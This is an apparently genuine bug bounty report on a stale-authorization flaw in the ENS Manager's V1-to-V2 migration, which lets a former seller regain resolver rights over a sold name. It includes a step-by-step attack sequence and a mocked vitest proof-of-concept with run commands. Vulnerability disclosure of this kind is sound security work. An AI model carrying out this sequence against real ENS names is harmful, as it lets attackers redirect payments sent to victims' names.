89249 w a medium stale authorization in v1 to v2 manager migration resurrects a revoked manager and lets a former seller hijack the ens resolver
Submitted on Aug 18th 2026 at 08:30:20 UTC by @ngosytuan for Audit Competition | ENS
- Report ID: #89249
- Report Type: Websites & Apps
- Report severity: Medium
- Target: https://github.com/immunefi-team/audit-comp-ens/tree/audit-comp-ready/apps/manager
- Impacts:
- Hijacking or bricking an ENS name during a Manager flow (registration, v1 to v2 migration, or transfer), such as:
- a registration or migration that assigns the name, its ownership, registry, or resolver to an attacker
- redirecting the recipient of a name transfer
- leaving a name permanently inaccessible after the flow
- Hijacking or bricking an ENS name during a Manager flow (registration, v1 to v2 migration, or transfer), such as:
Description
Affected asset: apps/manager
Audited revision: 63772fd872af472ced58b009499355f3430c2a86 (competition mirror commit cda79acaad59711b943fc68207ebb3f1d0ff8596)
Bug class: Stale authorization / TOCTOU
The Manager migration flow restores ROLE_SET_RESOLVER from the V1 subgraph's cached domain.owner.id without confirming that the address is still the live V1 Registry manager. After a V1 registration changes hands and the buyer reclaims the manager role, Manager can build a wallet-signed migration that grants V2 resolver authority back to the former seller. The former seller can then assign an attacker-controlled resolver, make the victim's ENS name resolve to the attacker's address, and receive assets sent to that name.
This matches the program's Critical impact: hijacking an ENS name during V1-to-V2 Manager migration, including a migration that assigns its resolver to an attacker.
Root cause
apps/manager/src/features/migration/service/v1SubgraphClient.ts:22-47obtainsowner.idfrom the V1 subgraph.apps/manager/src/features/migration/hooks/useV1Names.ts:12-23treats that response as fresh for five minutes.apps/manager/src/features/migration/service/buildMigrationPlan.ts:317-380classifies those same cached domains and builds the atomic transaction.packages/migration/src/service/classifyNames.ts:148-184copies cacheddomain.owner.idintomanagerAddress.- The live eligibility checks only read
BaseRegistrar.ownerOf/NameWrapper.getDataand V2 reservation state. They never read the live V1ENSRegistry.owner(node)(packages/migration/src/service/preflightChecks.ts:47-101,191-225). apps/manager/src/features/migration/service/buildRoleGrantCalls.ts:11-24encodes the stale address directly:
grantRoles(resource, 1n << 24n, name.managerAddress)
- The post-state verifier expects the stale address to possess the role and therefore treats the privilege resurrection as success (
buildAtomicMigrationBatches.ts:608-624;verifyAtomicMigrationBatch.ts:337-353). The confirmation UI only says “Restore the existing managers” and does not identify the address.
Attack sequence
Transfer or sell an unwrapped V1 registration
The attacker transfers or sells an unwrapped V1 .eth registration to the victim while the attacker remains its legacy Registry manager.
Fetch a valid snapshot
Manager fetches a valid snapshot containing registrant = victim and owner/manager = attacker.
Reclaim the live V1 Registry manager role
The victim reclaims the live V1 Registry manager role. At this point the attacker controls neither the registration NFT nor the live Registry node.
Start migration before cached data expires
The victim uses the normal Manager migration flow before the five-minute client cache expires. Normal subgraph indexing delay creates the same state.
Pass live eligibility checks
The live checks pass because BaseRegistrar.ownerOf is the victim and the V2 name is reserved. No live Registry-manager check occurs.
Sign the migration
The victim signs the migration presented by Manager. Its atomic HCA transaction migrates the name and calls grantRoles(resource, ROLE_SET_RESOLVER, attacker).
Hijack the resolver
The attacker calls V2 setResolver and points the name to an attacker-controlled resolver/address record. Transfers resolving the victim's name are sent to the attacker.
No leaked credential, malicious dependency, subgraph compromise, public-network testing, or smart-contract bug is required.the vulnerability is the in-scope Manager application's use of stale off-chain data as authorization input
Recommended remediation
Before plan construction, batch-read live V1 ENSRegistry.owner(node) for every unwrapped name and derive managerAddress only from that value. Repeat the check immediately before execution, bind the reviewed manager address into the plan, and abort if it changes. Cached subgraph data must never authorize a role grantt.
Proof of Concept
The following test uses the production classification, live eligibility, role-grant, and atomic HCA batch builders. It models:
- an honest cached snapshot where the buyer is registrant and the former seller is manager;
- live
BaseRegistrar.ownerOf = VICTIM; - live V2 status
RESERVED; - a live Registry
ownerhandler that would returnVICTIM, but is never called.
The test proves that eligibility passes, decodes the actual nested executeByOwner calldata, and confirms that Manager grants ROLE_SET_RESOLVER to FORMER_MANAGER. It also proves that post-state verification expects the attacker's role.
Create the test file
Create this file:
apps/manager/src/features/migration/service/staleManagerPrivilegeResurrection.poc.test.ts
Paste the complete PoC
import {
type Address,
decodeFunctionData,
encodeAbiParameters,
type Hex,
type PublicClient,
parseAbi,
} from 'viem'
import { sepolia } from 'viem/chains'
import { assert, describe, expect, it, vi } from 'vitest'
import { ETH_REGISTRY_V2_ABI } from '../contracts/abis'
import { V1_CONTRACTS, V2_CONTRACTS } from '../contracts/addresses'
import { makeDomain } from './_fixtures'
import { buildAtomicMigrationBatches } from './buildAtomicMigrationBatches'
import { classifyName } from './classifyNames'
import type { DirectMigrationRoute } from './directMigrationRoutes'
import { runEligibilityChecks } from './preflightChecks'
const VICTIM: Address = '0x00000000000000000000000000000000000000b1'
const FORMER_MANAGER: Address = '0x00000000000000000000000000000000000000c1'
const HCA: Address = '0x00000000000000000000000000000000000000a1'
const ROLE_SET_RESOLVER = 1n << 24n
const hcaOwnerExecutionAbi = parseAbi([
'function executeByOwner((address target, uint256 value, bytes callData)[] executions) payable',
])
type Aggregate3Call = {
readonly target: Address
readonly allowFailure: boolean
readonly callData: Hex
}
type MockReadRequest = {
readonly functionName: string
readonly args?: readonly [readonly Aggregate3Call[]]
}
describe('PoC: stale V1 manager privilege resurrection', () => {
it('grants ROLE_SET_RESOLVER to a former manager although live ownership is the victim', async () => {
// Cached subgraph snapshot after a V1 registration transfer.
// The buyer has since reclaimed the live registry manager role to VICTIM.
const staleDomain = makeDomain({
id: '0x8e74a6f012f2df1bfbf9f3c5d55ff764fc06d3e6d1f9ea25b15a9bf7c2a21337',
labelhash:
'0x8e74a6f012f2df1bfbf9f3c5d55ff764fc06d3e6d1f9ea25b15a9bf7c2a21337',
labelName: 'victim',
name: 'victim.eth',
registrantId: VICTIM,
ownerId: FORMER_MANAGER,
})
const classification = classifyName(staleDomain, VICTIM)
assert(classification?.type === 'classified')
expect(classification.name.managerAddress?.toLowerCase()).toBe(
FORMER_MANAGER.toLowerCase(),
)
// All implemented live checks pass. A live Registry owner() read would
// return VICTIM, but production never performs that authorization check.
const readContract = vi.fn(async (request: MockReadRequest) => {
if (request.functionName === 'owner') return VICTIM
if (request.functionName !== 'aggregate3') {
throw new Error(`unexpected readContract: ${request.functionName}`)
}
return (request.args?.[0] ?? []).map(({ target }) => {
if (target.toLowerCase() === V1_CONTRACTS.BaseRegistrar.toLowerCase()) {
return {
success: true,
returnData: encodeAbiParameters([{ type: 'address' }], [VICTIM]),
}
}
if (target.toLowerCase() === V2_CONTRACTS.ETHRegistry.toLowerCase()) {
return {
success: true,
returnData: encodeAbiParameters([{ type: 'uint8' }], [1]),
}
}
throw new Error(`unexpected multicall target: ${target}`)
})
})
const publicClient = {
chain: sepolia,
readContract,
} as unknown as PublicClient
const eligibility = await runEligibilityChecks(
publicClient,
[classification.name],
VICTIM,
)
const checkedFunctions = readContract.mock.calls.map(
([request]) => request.functionName,
)
expect(checkedFunctions).toEqual(['aggregate3', 'aggregate3'])
expect(checkedFunctions).not.toContain('owner')
const checkedTargets = readContract.mock.calls.flatMap(
([request]) => request.args?.[0].map(({ target }) => target) ?? [],
)
expect(checkedTargets.map((target) => target.toLowerCase())).toEqual([
V1_CONTRACTS.BaseRegistrar.toLowerCase(),
V2_CONTRACTS.ETHRegistry.toLowerCase(),
])
expect(eligibility.eligible).toEqual([classification.name])
const directRoute: DirectMigrationRoute = {
name: 'victim.eth',
receiver: V2_CONTRACTS.UnlockedMigrationController,
parentDependency: null,
expectedWrapperRegistry: null,
receiverReadiness: 'migration-controller',
}
const plan = await buildAtomicMigrationBatches({
chainId: sepolia.id,
hca: HCA,
wallet: VICTIM,
classified: eligibility.eligible,
directRoutes: new Map([['victim.eth', directRoute]]),
profiles: new Map(),
defaultResolver: V2_CONTRACTS.DefaultResolver,
resolverDeployed: true,
walletCoAdminGranted: true,
maxOuterGas: 1_000_000n,
estimateOuterGas: async () => 100_000n,
})
const batch = plan.batches[0]
assert(batch)
// Decode the actual call nested in the wallet-signed HCA transaction.
const outer = decodeFunctionData({
abi: hcaOwnerExecutionAbi,
data: batch.outerCall.data,
})
assert(outer.functionName === 'executeByOwner')
const [executions] = outer.args
const attackerGrant = executions.find(
({ target }) =>
target.toLowerCase() === V2_CONTRACTS.ETHRegistry.toLowerCase(),
)
assert(attackerGrant)
const grant = decodeFunctionData({
abi: ETH_REGISTRY_V2_ABI,
data: attackerGrant.callData,
})
expect(grant.functionName).toBe('grantRoles')
const [, roles, account] = grant.args as [bigint, bigint, Address]
expect(roles).toBe(ROLE_SET_RESOLVER)
expect(account.toLowerCase()).toBe(FORMER_MANAGER.toLowerCase())
// Post-state verification accepts the stale privilege as intended state.
const managerExpectation = batch.verificationExpectations.find(
(expectation) => expectation.type === 'manager-role',
)
assert(managerExpectation?.type === 'manager-role')
expect(managerExpectation.account.toLowerCase()).toBe(
FORMER_MANAGER.toLowerCase(),
)
expect(managerExpectation.roleBitmap).toBe(ROLE_SET_RESOLVER)
})
})
Install the frozen workspace dependencies if needed
npx --yes --package=node@22.18.0 --package=pnpm@10.27.0 -- \
pnpm install --frozen-lockfile --ignore-scripts
Run the PoC from the repository root
cd apps/manager
node_modules/.bin/vitest run \
src/features/migration/service/staleManagerPrivilegeResurrection.poc.test.ts \
--reporter=verbose
Observed result
✓ ... grants ROLE_SET_RESOLVER to a former manager although live ownership is the victim
Test Files 1 passed (1)
Tests 1 passed (1)
Exit code 0
The passing assertions prove that the live ownership gates accept the victim, Manager does not query the live V1 Registry manager, the wallet-signed HCA batch grants ROLE_SET_RESOLVER to the revoked former manager, and the post-state verifier explicitly accepts that attacker role.